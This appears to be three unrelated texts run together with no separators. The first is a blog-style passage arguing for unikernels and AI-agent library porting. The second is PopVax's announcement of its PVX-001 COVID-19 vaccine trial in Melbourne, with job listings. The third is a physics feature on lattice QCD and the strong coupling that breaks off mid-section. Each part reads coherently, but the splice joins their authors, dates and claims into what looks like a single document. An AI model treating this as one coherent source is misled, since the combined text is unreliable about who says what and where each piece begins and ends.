All true. But look at what we've been doing for twenty-six years. The earliest adage I remember from the SunOS and cgi-bin days was "don't put the compiler on production." Then came build containers and production containers. Then Chainguard. We keep chipping away at the attack surface, instead of going in the opposite direction and ensuring there is no attack surface.

And this is the bit people miss: if there's no shell and no interpreter, there's nothing in the model weights that knows what to do next. That turns a drive-by (pick your framework's RCE of the week and you've got a shell, and the model weights know what to do with shell access) into a targeted attack that needs your source code.

you can just port the missing libraries now

The classic objection: your unikernel needs to talk to Stripe, and OCaml doesn't have a Stripe library. Before AI you'd sigh and write it. Now? Run a loop to port the Go library to OCaml. Here you go: Stripe in a unikernel.

Justin had a great example of the same thing. He'd been building minimal Linux OS images for appliances, which is halfway to a unikernel anyway, since you're only running one application as PID 1. He needed to make an XFS filesystem. Rather than drag in xfsprogs and everything it brings with it, he sat down with an agent and had it write mkfs.xfs in Rust, producing byte-for-byte identical output, with every flag interpreted. It reverse-engineered the on-disk formats one by one, with tests across block sizes. It took a few hours.

That works because the original tool is a golden oracle. Generate filesystems at different sizes with both implementations and diff them. Port the tests across. Automate it.

Storage was the other big gap. Most workloads these days are cloud-shaped, even on-prem, so take the turbopuffer approach: S3 as your primary, infinitely growable storage, with a local NVMe block cache and an LRU (or whatever caching algorithm you like) for the hot bits. Justin is a massive "S3 for everything" fan too. As long as latency isn't the constraint, you get infinite storage with multi-user access, and you can build everything on it.

nix machine tests and overlays

Justin had been experimenting with Nix too, and was surprised that the first time he got an agent to prototype an OS, it built all the tests into flakes.

Nix the language sucks. Nixpkgs is great. NixOS machine tests are the bee's knees: you write a test that spins up a fleet of machines and exercises the interaction between your network rules and your application. It's the thing people don't know about.

And when something upstream is broken, or there's a supply chain problem in your dependencies, that's just an overlay.

If you have to tool-call a human, also known as "Dear Maintainer", who might be on holiday or might have abandoned the project, and wait a day, two days, or even five minutes, that's not AGI.

We're building recursive products here. Agents need the ability to modify the world as first-party source, not as third-party bundled binaries. We're going back to the contrib folder and Unix patches.

if you care about security, you have two choices

Justin asked what unikernels still need for people to discover them. Honestly, it's this. We've raised two generations of developers who don't even know they're a thing.

If you deeply care about security, there are really two choices:

1. You're sending satellites into space, and you should probably use seL4, a formally verified operating system. (I'm still a bit salty about the Australian government disbanding that team.)
2. Everyone else should seriously consider unikernels. Stop trying to harden something that is very hackable. Invert it and design from the other direction.

The other classic criticism is that many early unikernel designs ran everything at a single privilege level: your application in the same ring as the OS. In 2026, that's a prompt away from being fixed if you want ring separation. It's certainly more secure than praying to god your systemd cgroup configuration is right.

Think about how much time enterprises spend patching the world every time something new drops in Linux. Upstream now expects you to patch your kernel weekly. The week we recorded, someone popped KVM (essentially Firecracker, the core primitive we all thought was good sandboxing) and collected $50,000 from Vercel and a few other vendors. That is not much money for something that could root every managed cloud provider in the world.

spaceleans: a distributed unikernel operating system

About seven months ago, I went deep on unikernels to check whether my mental model was right. I showed Justin my Mirage folder, which holds all the functionality I needed to add.

• There was no way for a unikernel fleet to keep time, so I took an NTP client from another language and ported it. Then I built an NTP server based on RADclock and borrowed ideas from how TigerBeetle handles time: not one clock source but many, packaged as a library.
• Network stack, DNS, HTTP clients and servers, structured logging, OTel, Anthropic and OpenAI clients, and payments via Airwallex.
• A generic retry library for handling back pressure over HTTP, plus some PPX metaprogramming for fun.
• A PII wrapper at the logging boundary, so secrets and PII never leak through the logging subsystem. Every project should have one. It's pluggable; just use a functor.

And then the most cooked thing, which I'd never shown anyone before: Spaceleans, Microsoft Orleans ported to OCaml, running as a unikernel.

Orleans is a distributed actor system with transactions. You take many physical machines and merge them into one addressable heap. An actor always exists: await GetCustomer(), and if it isn't in memory, it gets rehydrated from a pluggable storage provider. You collapse your n-tier architecture into actors and stop caring whether something lives on machine A, B, C or D. The runtime handles it as an infrastructure primitive.

So in a weird sense, I built a distributed unikernel operating system out of actors, with a filesystem on top. Justin called it Erlang-esque, and he's right. I did all of it in a week. I'll probably never release it, but it falsified the idea that unikernels are hard.

sampling history

Being a little older means you can sample history, like an experienced DJ such as Carl Cox, who's been in the scene long enough to pull from previous repertoire and bring it forward. All of these ideas existed in the eighties. The models have read the papers. They've got TAPL and the most advanced type theory in their training data.

The thing that's lacking is people's curiosity and ambition to do these unhinged things, and the knowledge that previous records exist that can be sampled from.

How do we get people to try this stuff? We just do it. If you've got a turbo Lamborghini alien space rocket that's more efficient and more secure, good for you; you've got a leg up. Do cool things, attract curious newcomers, mentor them, grow. Same as it's always been.

Meanwhile, everyone else will be trying to Chainguard their Ruby on Rails application and managing AWS with fifty AWS-certified engineers, when two people with Nix and Hetzner would do. Eventually, it comes down to money. Higher-powered tools are more efficient, and efficiency wins, especially as AI collapses margins.

ocaml, rust, haskell and back pressure

Has OCaml's time come again? It's still going strong. A certain trading firm is using it very well. When I caught up with Yaron at the start of the year, I asked him whether OxCaml exists so their language extensions end up in the training data and lift the whole company. I got a very "no comment" smile.

For agents, OCaml is lovely. Functors between modules are beautiful. The .mli files, a typed header explaining how a module should work, are really efficient context for agents. opam and Dune are legitimately good. Hindley–Milner. And compile times are fast. I see no reason to do F# these days.

Justin has mostly been writing Rust, and agents are good at Rust. But compile time is the tax on back pressure. LLMs hallucinate, and when compilation is slow, each hallucination is expensive because you get fewer attempts per minute. Justin's S3 clone is about a million lines of Rust; with four agents compiling at once, they fight over disk and CPU. You end up spending more on fast machines than on tokens.

Haskell's type system is great, and the models do it really well. But I don't feel good running it in production: a space leak lives in the runtime state space and only shows up in production. Justin pointed out that the linear-type ideas in Rust came out of Haskell papers trying to solve exactly that. Then there's Zig's approach: allocate everything up front and never allocate again, which is what game devs did in the eighties and nineties. It's hard to persuade an agent to do that in Rust, though, because constant-memory programs aren't in its training set.

I think dependent types are the winner for next-generation languages. Anything that lets you codify more into the type system is more back pressure. You probably won't be surprised to hear I've got a fork of the Rust toolchain with dependent types. You can just do things now.

languages for agents, and what cursed taught me

The pace of language development has been held back by how fast humans can learn new concepts. Operator chaining is essentially sugar for humans. If agents write the code, we can lean on forty years of academic PLT research, as long as you know how to sample it.

The industry codified "do not make breaking changes" after Python 2 to 3. Justin knew companies with hundreds of people on that migration for years. I think that rule is no longer true. Ship a skill pack with the breaking change and let agents auto-migrate.

Justin asked what it actually costs to make a new language successful now. Go was the last language a company spent real money on, and it took a long time. I can answer that one.

Cursed was built with Sonnet 3.5 and 3.7, a deliberately underspecified prompt, and three months of running it in a loop. I started in C (not enough back pressure; I wasted too much time in Valgrind as the agent clobbered its own updates), then Rust, then Zig. Zig was a mistake; it would work today if I'd stayed with Rust. It cost roughly US$6,000, and I did it three times over. Compare that to what Go cost.

Now the real bit, the part that still scares me. If you allocate the context window correctly — a lookup table of the lexical structure and grammar — the model can program in a language that isn't in its weights. It's brute force and inefficient, but it works.

Think T-diagrams (tombstone diagrams). Lock down your grammar and lexical structure, reach a stage-two self-hosting compiler, ship a sensible standard library, and start the next training run. From there, you can reach a Roslyn-style self-hosted compiler with language services stupidly fast. Justin asked whether fine-tuning an open model would help bootstrap a language like this. It's not needed.

That was true a year and a half ago with much weaker models. It'll take just one programming language designer going all in with the good models to shock the world.

what next

As the pub was shutting, Justin asked what was on my mind. If you haven't read my latest post, go read it. If you manage people, create the space and time for them to experiment now, because within six months, leadership will ask you to put people on a vitality curve.

Yes, the labs trained on the commons. I hate that, and I get it. But you trade time and skill for money; employers have minimum standards, and those standards have changed faster than ever before in our industry. Be curious, learn how to build an agent, and go create beautiful stuff. We're in a renaissance.

It's a time-compression device. The more experience you have, the more you can sample. Not everything ships; some of what I showed Justin may never see the light of day. I use these projects as katas and redo them when the models get better.

But if you want to build something secure, seriously consider unikernels.

Keep curious.

First participants safely dosed in Melbourne, Australia, on August 31, 2026, in the first-in-human trial of our broadly-protective COVID-19 vaccine candidate PVX-001.

[]

Holy shit.

What a ride. What a fucking ride. What an insane fucking ride this has been.

I’ve waited 5 years to write these words: On 31 August 2026, the first two participants each received a dose of PVX-001, our broadly-protective COVID-19 vaccine candidate designed to protect against future variants of SARS-CoV-2 that may emerge, in a first-in-human Phase I clinical trial in Melbourne, Australia (ACTRN12626000891325).

This trial, which will enroll a total of 36 healthy adult volunteers, is intended to assess the safety and tolerability of the vaccine candidate, while also providing early data on the magnitude and breadth of the immune response it elicits against multiple variants of SARS-CoV-2. As of 6 October 2026, we have enrolled and dosed 14 participants meeting our screening criteria, with no serious adverse events (SAEs) reported. Participant follow-up and safety monitoring are ongoing.

This vaccine embodies PopVax’s full-stack philosophy of developing new medicines – we built it on our own computational protein design pipeline, mRNA-encoded VLP display architecture, fridge-stable lipid nanoparticle delivery vehicle based on our novel ionizable lipid PVXL-150, and in-house manufacturing process at our RNA Foundry in Hyderabad, all of which we have constructed from the ground up over the past 4.5 years. Once the Phase I trial is concluded, PVX-001 will be made open-source for others to build on.

The start of this trial is an essential step on PopVax’s path to fulfilling our Million Lives Mission: to develop novel vaccines and therapeutics over the next decade that save 1 million lives each year. Safety and immunogenicity data on our mRNA-LNP platform will allow us to accelerate the translation of our preclinical vaccine programs – including a single-dose rabies vaccine, a multivalent HCV vaccine, an adult & adolescent TB vaccine, and a Strep A vaccine, all potentially first-in-class – into clinical trials over the next 2 years.

I’ve waited 5 years to write these words, from when I first read about AlphaFold 2 and realized that machine learning was the future of medicine – before the company even existed, when it was just the kernel of an idea in my mind, still pristine and not yet popped open by the heat of reality.

I’ve waited 5 years to write these words, from when I took an uncharacteristic run on my beloved Juhu beach, along the sea that’s echoed in my ear since I was born, drenching myself in the pouring rain on my birthday as the pandemic-cursed 2020 was washed away to reveal the virgin sands of 2021, and decided that something fundamental had to change – in our response to infectious diseases, in how we make new medicines, and in the direction my life was going.

I’ve waited 5 years to write these words, from when Harish Iyer at the Gates Foundation took a $100k bet on me – a computer scientist with a minimal biology background – that nobody else thought was a good idea, 5 years from when I first spoke with Ethereum co-founder Vitalik Buterin and the team at his scientific investment fund Balvi and convinced them this was possible and worth funding with the Shiba Inu memecoin money with which he’d been entrusted without his consent, 5 years from every Indian investor I spoke to politely telling me that I was embarking on a fool’s errand.

And yet, and yet, and yet – after I flew all the way to Australia, waited patiently as the first participant was checked, waited for the appointed second to strike, and saw the nurse push in the plunger – after I saw something I’d made be injected into a fellow human being for the first time… I felt nothing. I felt numb to the world. I felt disconnected from reality, as if time was flowing forward without me.

Phew. Let’s take a deep breath. What the hell is going on here?

I started PopVax in large part because I didn’t see Indian companies responding to the threat of new COVID-19 variants fast enough, or even at all – the first COVID-19 vaccines quickly lost efficacy as the virus mutated. We didn’t have variant-updated boosters in India for years after the emergence of the Delta and Omicron variants, which collectively killed millions of my countrymen. From the beginning, we aimed to design vaccines resilient to viral mutation that would continue to provide protection against not the current dominant strain at the time of manufacture, but even future variants yet to come.

For PVX-001, we turned to the virus-like particle (VLP) architecture, used in vaccines such as Gardasil (HPV) and R21 (malaria), which displays many copies of the protein immunogen on a ball-like self-assembling structure, inducing the clustering of B cell receptors on antibody-producing immune cells and eliciting a much more potent antibody response than the immunogen on its own. This clustering also often induces a broader antibody response – one that is able to neutralize a wider set of mutated variants of the pathogen.

The catch is that VLP vaccines are notoriously hard to manufacture in vitro, with each immunogen variant you put on the VLP demanding its own painstaking cycle of optimization for the necessary conditions to successfully assemble and purify it after the individual monomer subunits are produced in cells. Merck’s HPV vaccine Gardasil 9, for example, takes as much as four years to manufacture from start to finish. That is just too long for a vaccine against a virus that births a new dominant variant as rapidly as the seasons change.

Enter RNA, which is produced via in vitro transcription (IVT), a synthesis process performed using enzymes in a largely cell-free fashion, and purified with methods that don’t change all that much from sequence to sequence. We produce mRNA in a ‘one-pot’ reaction that takes a single day, and our whole production process takes a week, a far cry from the many months to years required for conventional VLP vaccines produced today.

PVX-001 is built around messenger RNA (mRNA) that instructs cells in the human body to produce a designed protein that self-assembles within the cell into a VLP that displays an engineered version of the SARS-CoV-2 Receptor-Binding Domain (RBD). We turn the body into the factory for the VLP, and let it handle the difficult parts of the process, combining the manufacturing ease of RNA with the immunological potency of VLP display.

When applied to the design of a wild-type COVID-19 vaccine, our RNA-encoded VLP approach results in a >50x increase in the elicited neutralizing antibody (nAb) titer in mice compared with the same dose of RNA encoding the same immunogen as is, as well as a >20x increase in nAb titer compared to the same dose of the mRNA sequence from a US FDA-approved first-generation wild-type COVID-19 vaccine.

While it’s easy to update the mRNA sequence in our vaccine to target new variants without changing the manufacturing process, we may not need to do so as often as existing vaccines do – our wild-type SARS-CoV-2 RBD-based VLP display construct was able to elicit potent neutralization titers against the Gamma, Lambda, and Omicron BA.1 variants of SARS-CoV-2, while a US FDA-approved mRNA-based COVID-19 vaccine comparator sequence at the same dose was not, demonstrating that the VLP immunogen display approach results in the elicitation of antibodies that neutralize a greater breadth of variants.

We’ve now applied this design approach to a more recent SARS-CoV-2 variant, which we’ve used as the basis for the version of PVX-001 that has now entered the Phase I clinical trial. Our preclinical immunogenicity in mice is competitive with that of mNEXSPIKE, Moderna’s much-improved second-generation vaccine. We hope that this vaccine will require fewer boosters and less frequent variant-specific updates to maintain its efficacy over time, even as the virus mutates rapidly.

Being able to make the vaccine, however, only solves half the problem – you also need to be able to transport it all over the world to all of the people who need it.

Our lipid nanoparticle (LNP) formulation, the key component that allows the mRNA to enter human cells, is based on our novel ionizable lipid PVXL-150. We’re particularly proud of the fact that vaccines using this LNP formulation can be stored at 2-8 °C, regular refrigerator temperatures, for at least 9 months without lyophilization (freeze-drying), rather than the frozen -20 °C or ultracold -80 °C storage required by the first-generation mRNA vaccines approved for COVID-19. This will allow for easy distribution across the world using established refrigerated supply chains for medicines, making our vaccines straightforward to deploy at scale in developing countries.

Every dose of PVX-001 was built at the RNA Foundry, PopVax’s full-stack R&D lab and global Good Manufacturing Practices-aligned clinical dose production facility in Hyderabad. Our computational researchers and protein designers sit just feet away from experiments being conducted by our scientists, who can gaze through the glass to watch the manufacturing process in full swing. This allows for rapid and seamless collaboration that substantially increases the velocity of our engine for translating AI into medicine. In just under 5000 square feet of GMP manufacturing space, the RNA Foundry can produce up to 1 million doses of new medicines each year, from plasmid DNA to formulated mRNA-LNP, including testing every batch against an extensive panel of analytical methods we developed and operationalized at our on-site Quality Control lab. We even make our own GMP-grade ionizable lipids here!

Every dose of PVX-001 is also the product of a global collaborative effort. Our work was initially seeded by the Gates Foundation, substantially funded by Vitalik Buterin’s Balvi fund, and was helped across the finish line by an investment from Meta co-founder Dustin Moskovitz and Cari Tuna’s Good Ventures, advised by the good folks at Coefficient Giving. The vaccine was part of the US National Institute of Allergy and Infectious Diseases’ (NIAID) Project NextGen, which gave us access to vital scientific and regulatory advice, and under which the doses we manufactured at the RNA Foundry in Hyderabad were filled in vials at ABL in Rockville, Maryland. The trial was approved by an Australian Human Research Ethics Committee run by Bellberry, and is being conducted by Nucleus Network at their facility in Melbourne with support from Emerald Clinical.

Before reaching a participant, every single dose journeyed through four continents, from being manufactured in India and filled into a vial in the United States to catching a flight via Germany to the trial site in Australia.

Once the Phase I trial of PVX-001 concludes, we will open-source the design and manufacturing information needed for others to produce and build on it, and we will not enforce any of our intellectual property rights against anyone who uses it to make vaccines against any betacoronavirus – the viral genus that includes SARS-CoV-2, SARS-CoV, and MERS-CoV.

We are doing this because SARS-CoV-2 and its close cousins remain a substantial pandemic risk. In just the past few decades, they have caused one major epidemic (SARS), one close call (MERS), and one global pandemic that killed millions. The designs developed after the original SARS outbreak gave the first generation of COVID-19 vaccines a crucial head start in 2020. We want humanity to have an even better head start next time: a broadly-protective, refrigerator-stable vaccine that any scientist, vaccine producer, or member of the public, located anywhere, can improve, adapt to their needs, and manufacture without having to worry about IP.

We are also doing it because of what we saw during the pandemic. The best and most up-to-date RNA vaccines were largely unavailable to poorer countries, as rich countries secured the bulk of the supply, and vaccine manufacturers in countries like India never updated their products for Omicron and later variants. As Vitalik has argued in his writing on d/acc – defensive accelerationism – the capability to design, develop, and manufacture the next generation of vaccines must be globally distributed. An open-source vaccine, built on an mRNA-LNP platform that can use existing medical supply chains in developing countries, is a concrete step towards making sure that the rising world in Asia, Africa, and South America is never again left waiting at the back of the queue.

PVX-001 is only the beginning. We’re developing six new vaccines, personalized cancer medicines, and targeted autoimmune therapies to fulfill our mission to save 1 million lives each year. Sometimes I lie awake at night and agonize over all the screwups we’ve made – the botched experiments, the missed opportunities, all the fumbles and stumbles that delayed us by a year, or maybe even two, and I wonder whether we can really pull that off in the next decade.

But now that we’ve traversed the thorny path from concept to clinic, we’ll combine our newfound knowledge of how to get something from insight to injection with our full-stack approach to rapidly accelerate these new medicines towards patients, without compromising rigour or safety. This will be the first of many first-in-human trials, each following sooner than the last, with increasing rapidity until we are translating new medicines to patients in weeks, not years.

I’m the prodigal son of two homoeopathic doctors who don’t like vaccines very much, a lapsed computer scientist who moved my Y Combinator-backed robotics software company from San Francisco to Pune at the height of the pandemic, and a certified madman who, on the advice of a high-schooler, turned down multiple term sheets and shut down my software startup to start an AI-powered biotech company without knowing very much biology, in a pre-ChatGPT and Claude Code era when it wasn’t yet clear that AI could do all that much biology, in a city I’d never been to before signing my lab lease, and in a country that doesn’t do – or fund – very much biotech R&D, where most of the local pharmaceutical titans are engaged in a multi-generational game of ‘the floor is lava’, in which any investment in the development of new medicines is the floor. Luckily, their private jets keep their feet off the fast-heating ground.

With me so far?

The charismatic and scarily energetic Nalam ‘Madhu’ Rao at the Centre for Cellular and Molecular Biology granted me 100 square feet of shared lab space in his incubator hours after I landed in Hyderabad in late 2021, still the fastest I’ve ever seen Indian academia move, I bankrupted myself buying lab equipment, managed to recruit excellent scientists who were so bored at Indian generics and biosimilars companies that they responded to a LinkedIn post asking for ‘people to make mRNA’, and convinced Harish Iyer, a Gates Foundation officer who used to run the pioneering Indian vaccine company Shantha Biotechnics, to give us a $100k contract for ‘public awareness’ of global health – that is, the awareness that someone in India could make mRNA vaccines at all.

We couldn’t get our hands on DNA templates fast enough until Stanford’s Rhiju Das recommended Twist Bioscience, but we had to get a friend in an SF lab to trans-ship them to us because Twist didn’t yet have India logistics set up, and it all took so long! – so interminably long! – until Suresh made the mRNA late one night in the lab and, lo and behold, it worked, it expressed (yay!) in cells… but the LNPs didn’t quite work in mice (boo!). So Sourav, our first employee, used a torture device with a manual plunger over and over to squeeze out the invisible particles until they finally got to the consistent size they needed to be. Meanwhile, Maunish, the son of one of my father’s closest colleagues, neither of whom I had seen for over a decade, turned out to be a star student of Pieter Cullis, one of the great pioneers of lipid nanoparticles – on seeing that we had managed to get synthetic mRNA to express proteins in cells in India, Maunish went into some kind of rapturous trance in which he decided to move to Hyderabad and do science with us.

Experimental success bred faster spending, which brought our bank account close to negative territory once more. So, as usual, I wrote an angry op-ed that a Thai gentleman liked enough to connect me with his good buddy who was interested in COVID-19 – a good buddy who turned out to be the uncommonly thoughtful and uncompromisingly ethical Vitalik Buterin. We got fantastic data from our RNA-encoded VLP approach, but when we tried to get someone else to manufacture the vaccine, we realized it would be much too expensive and would take too long, so Thiru and Praveen helped design and build a facility so compact our contractors told us it wasn’t buildable, only to suddenly face-

You get the idea.

The final act of this frantic theatrical production played out early this year. We were part of NIAID’s Project NextGen, with the trial set to happen in Maryland, funded by the US government. Unfortunately, after the change of administration and attendant rearranging of priorities, we were told that the trial would not go ahead. In shock, we scrambled to move the trial to Australia, finding a site and a contract research organization on the fly, with Darshit writing the docs for the ethics committee and Hannah working across two oceans to get the clinical protocol locked down while we juggled the maintenance and shipment of the vaccine vials back from the US to an as-yet-unknown location.

No wonder I was numb.

And yet, against all odds, we persevered and prevailed. The vaccine company that no one thought was a good idea has become a clinical-stage AI-powered biotech that is starting to hit its stride. A few days after the first injection, I stood by the sea on Sydney’s Bondi Beach, I felt it all sink in – both the joyous significance of what we’d just done, and the enormity of what is yet left to achieve.

PopVax is accelerating to match the scale of our vision. From a standing start, we’ve generated millions of candidate proteins using frontier machine learning methods and AI models, designed 1000+ novel lipids, screened over 5000 unique LNP formulations, injected over 1300 distinct vaccine constructs into animals, and conducted 10s of 1000s of functional assays. Each experiment allows us to improve our designs and raises the ceiling of what our medicines can do to help people in need.

We will take many, many shots on goal – more than may seem well-advised. More than are comfortable for a spectator to contemplate, even. We won’t win ’em all – life is stochastic – but we’ve made peace with that. Watch closely, else the future of medicine will happen in the present without you.

If what we do excites you, PopVax is hiring for several critical roles at the moment:

1. Principal Scientist - Analytical Method Development and Senior Scientist - HPLC Method Development: We design millions of new molecules – proteins, RNA, LNPs, and more. Your job is to figure out how to characterize them at high-throughput without sacrificing rigour, repeatability, and robustness, as well as to help make those methods GMP-grade as part of the handover to QC. We intend to take new medicines into clinical trials in weeks, not years, so we need to build adaptable analytical platforms, not bespoke methods that work for only one molecule. We strongly prefer candidates with the ability to write code to build automated data analysis pipelines for their methods – LLM-generated code is fine as long as you are able to comprehensively validate the logic and output of the pipelines.

2. Head of Quality Control – We manufacture our own clinical doses at the RNA Foundry, and every analytical method we develop for a new molecule eventually has to become a validated QC method. You’ll lead the team that tests every batch to international GMP standards, take on method transfers from analytical development, and build a QC function that can keep pace with a pipeline aiming to reach the clinic in weeks, not years.

3. Junior Scientist - Vaccine Immunology – Our vaccine programs halt or advance on the immunogenicity data that comes back from animal and organoid studies. You’ll run the assays that produce that data – ELISAs, pseudovirus neutralization, and bacterial growth-inhibition assays – and coordinate animal studies with our internal teams and CROs, following each study from plan to samples to result. We prefer candidates who can write code for routine data analysis.

4. Head of Legal – Our first vaccine was manufactured in India, was filled into vials in the US, and has now entered a clinical trial in Australia. We work with dozens of counterparties – funders, governments, universities, CROs, and suppliers – with more added each week. You’ll own the day-to-day of our Indian legal work, from contracts to compliance to labour law, work with the legal teams supporting our UK and Australian operations, and make sure paperwork is never the bottleneck between our new medicines and the clinic.

5. Chief of Staff to the Chief Science Officer: Our CSO needs a partner who can take experimental planning and coordination off his plate so that he can spend more time thinking hard about our thorniest problems. Your complex scientific hypotheses into clear executable plans, coordinate with scientists to see each experiment through, and analyze the data to help plan the next round of iteration. You’ll need a strong scientific background, a sharp eye for detail, and boundless energy to keep ambitious scientific work moving. To apply, email dhruv [at] popvax [dot] com with a human-written explanation of why you’re the best person for the job.

If none of these are a good fit, take a look at our jobs page or email us at work [at] popvax [dot] com.

Of the Standard Model’s three gauge couplings, the one between quarks and gluons is by far the least well known. Harvey Meyer recounts the decades of lattice QCD behind its recent determination to five parts per mille.

Ever smaller worlds Thomas Wright’s 1750 engraving of an array of bounded worlds. Physicists have now pinned down the strong coupling in a kindred family of tiny universes, each simulated on its own. Credit: Spencer Collection, The New York Public Library. “Plate XVII” The New York Public Library Digital Collections. 1750. https://digitalcollections.nypl.org/items/783751f0-c60a-012f-e5fc-58d385a7bc34.

The force between two quarks in a near-miss collision is of the same kind as that between two electrons, but far more intense. It is also known far less precisely. While the fine-structure constant of electromagnetism has been measured to better than one part in a billion, the strong coupling αs is only known to one in a hundred.

At the LHC, with its enormous number of proton–proton collisions, many process rates are now measured to the percent level. The uncertainty on the strong coupling is then becoming a theoretical bottleneck. The High-Luminosity LHC and a future Higgs factory such as the proposed FCC-ee will demand greater precision still, since new physics may first appear as small discrepancies between measurements and predictions. A calculation recently published in Nature has now reduced the uncertainty on αs to five parts per mille using only low-energy input. The value can therefore enter collider predictions without having been fitted to collider data.

A force apart

Protons are not elementary. Collisions at momenta far above their mass scale resolve them into quarks, held together by gluons, the carriers of the strong force. Hardly any process at a hadron collider can therefore be understood without the part of the Standard Model (SM) that describes this interaction, quantum chromodynamics (QCD).

In QCD, the strength of the force between two quarks, two gluons, or a quark and a gluon is parametrised by the single coupling αs. Predicting the cross-section of any process that involves these particles requires, therefore, a precise input value for this constant. For instance, gluon fusion – the process that produces Higgs bosons most copiously at the LHC – proceeds via a virtual top-quark loop, and its probability is proportional to αs2.

On the lattice In lattice QCD, quark fields live on the sites of a grid and gluon fields on the links between them. A quark q and an antiquark q̅ pulled apart remain joined by a flux tube, whose energy grows steadily with the distance, and no quark is ever freed. Stretched far enough, the tube snaps and its energy materialises as new hadrons. Credit: D De Biasio

The strong coupling has an unusual property, inherited from a structural difference between QCD and quantum electrodynamics. Gluons, unlike the electrically neutral photon, carry colour, the very charge whose force they mediate, and thus interact among themselves. This leads to the coupling weakening as colour charges approach each other and growing as they separate. In a collision, the momentum transferred between the quarks and gluons sets the probed distance, and with it the scale at which αs must be evaluated. The conventional choice of a reference scale is the Z-boson mass, Q = MZ = 91.2 GeV in natural units. There, the current world average from the Particle Data Group (PDG) for αs is 0.1180 ± 0.0009. The precision is thus 7.6 parts per mille.

The weakness of the coupling at high-momentum transfers, where quarks and gluons behave almost as free particles, is known as “asymptotic freedom” and makes precise calculations possible as expansions in powers of αs. By contrast, at transfers below about a GeV, the coupling grows to order one, perturbative expansions in powers of αs break down, and any description in terms of quarks and gluons loses all predictivity. The strong interaction enforces this limit by confining quarks and gluons inside bound hadrons, and only these composites are ever seen in particle detectors. They include the proton and neutron, but also the pions, the kaons and an entire zoo of species, lately enlarged by the tetraquarks and pentaquarks discovered in collider experiments (CERN Courier November/December 2024 p33).

Spacetime on a grid

What fails at low energies are perturbative expansions, though, not QCD itself. The theory can predict the masses and key properties of bound states, but extracting these quantities requires a formulation that is not restricted to the weak-coupling regime. This was provided in a landmark 1974 paper by Kenneth Wilson. The idea is to approximate space and time as a four-dimensional lattice of points with a small spacing, later sent to zero to recover continuous spacetime (see the “On the lattice” figure). Enclosed in a finite volume, the lattice reduces QCD to a finite number of degrees of freedom. The theory’s predictions can then be evaluated by statistically sampling the possible configurations of the quark and gluon fields, and confinement emerges directly from the simulated dynamics (see “The theory, defined” panel).

The theory, defined

Beyond its computational role, the lattice occupies a privileged conceptual position. The perturbative series that typically define QCD are “asymptotic” expansions, believed not to be summable by any known method. They therefore cannot serve as a definition of the theory.

Wilson’s lattice can – at least, in part. Once space and time are replaced by a discrete grid and the system is enclosed in a finite volume, the theory is specified exactly by a finite set of well-defined quantities. The physical theory should emerge as the spacing shrinks to zero and the volume grows without bound, removing discretisation and finite-volume effects. While the existence of that limit has not been proved at a fully non-perturbative level, an all-order proof in perturbation theory exists for a class of discretisations. Even for a simplified theory with gluons alone, a truly rigorous construction, including a proof that its lightest state is massive, would settle one of the Clay Millennium Prize Problems.

The approach has a further price. The grid breaks translational, rotational and boost symmetry, and the simplest quark discretisations also sacrifice chiral symmetry. A further issue is that lattice QCD is formulated in imaginary time, which is well suited to statistical sampling but makes real-time scattering processes only partially and indirectly accessible. Many theorists nonetheless regard the lattice not as an approximation of QCD but as its true definition, and the broken symmetries as artefacts expected to vanish in the continuum limit. Providing a similarly rigorous definition of chiral non-Abelian gauge theories, as needed for a non-perturbative definition of the full Standard Model, remains an active area of research.

Still, the lattice became a quantitative tool only once algorithms and machines could generate enough field configurations for reliable statistical averages. For two decades, computing power forced severe compromises, most notoriously the quenched approximation, which neglected quark loops in the vacuum and therefore their backreaction on the gluon fields. This introduced an uncontrolled systematic error. Simulations with realistic dynamical quarks became feasible in the 2000s, and several collaborations obtained the masses of light hadrons and other low-energy observables in agreement with observation. Since 2011, the Flavour Lattice Averaging Group (FLAG) has compiled and averaged such results every two to three years, doing for lattice calculations what the PDG does for measurements and focusing on quantities central to particle phenomenology, such as the leptonic and semi-leptonic decay rates of K, D and B mesons. Lattice QCD has also shed light on how the proton’s charge, magnetisation and momentum are shared among its quarks and gluons, and distributed in space, and delivered high-impact ab-initio results on the phase diagram of QCD.

Over the past decade, the magnetic moment of the muon, a precision observable used to search for deviations from the SM, has proved a fruitful ground for demonstrating the maturity of lattice QCD. The measured value of the observable long disagreed with the SM prediction, whose largest theoretical uncertainty came from non-perturbative QCD effects. These comprise hadronic vacuum polarisation, traditionally estimated from measured e+e– → hadrons cross sections, and the smaller hadronic light-by-light contribution (CERN Courier March/April 2025 p21). By 2025, independent lattice calculations of the dominant vacuum-polarisation term agreed, while measurements of its dominant two-pion channel disagreed well beyond the stated uncertainties. This led the Muon g−2 Theory Initiative to base the value of the leading hadronic contribution in that year’s white paper solely on lattice results (CERN Courier January/February 2026 p41). The resulting prediction turned out to be in agreement with the final direct measurement of the muon’s magnetic moment from Fermilab (see “The verdict” figure).

The verdict The muon g−2 storage ring at Fermilab, where the muon’s anomalous magnetic moment was measured to a precision of 127 parts per billion. The value agrees with the Standard Model prediction, once its leading hadronic contribution is computed with lattice QCD. Credit: Fermilab

Lattice QCD also makes it possible to determine the fundamental parameters of QCD, namely the quark masses and the coupling at momentum MZ, from experimentally well-measured quantities such as the pion, kaon and proton masses. Finally, it offers theorists the possibility of studying strong interactions in ways not accessible via observations – for example, at vanishing quark masses or when particles are confined to a small volume.

The femto-universe

Theorists from condensed matter to particle physics have long worked at finite size to perform better-controlled calculations, before taking the infinite-volume limit. Placing a system in a box, however, can be more than an intermediate step. How an observable changes with the size of the box is dictated by the dynamics under study, and is therefore itself a prediction of the theory. The idea of exploiting a very small volume to interrogate QCD goes back to James Bjorken, who in 1979 coined the term femto-universe for the degrees of freedom of the strong interaction in a box less than 10–15 metres across.

One box at a time In the step-scaling method, a QCD observable is computed in a family of simulated universes, each half the size and twice the energy of the last. Since every box holds an equal number of lattice points, they cost roughly the same to simulate. The strong coupling can then be carried from the hadronic scale up to where perturbation theory takes over. Credit: D De Biasio

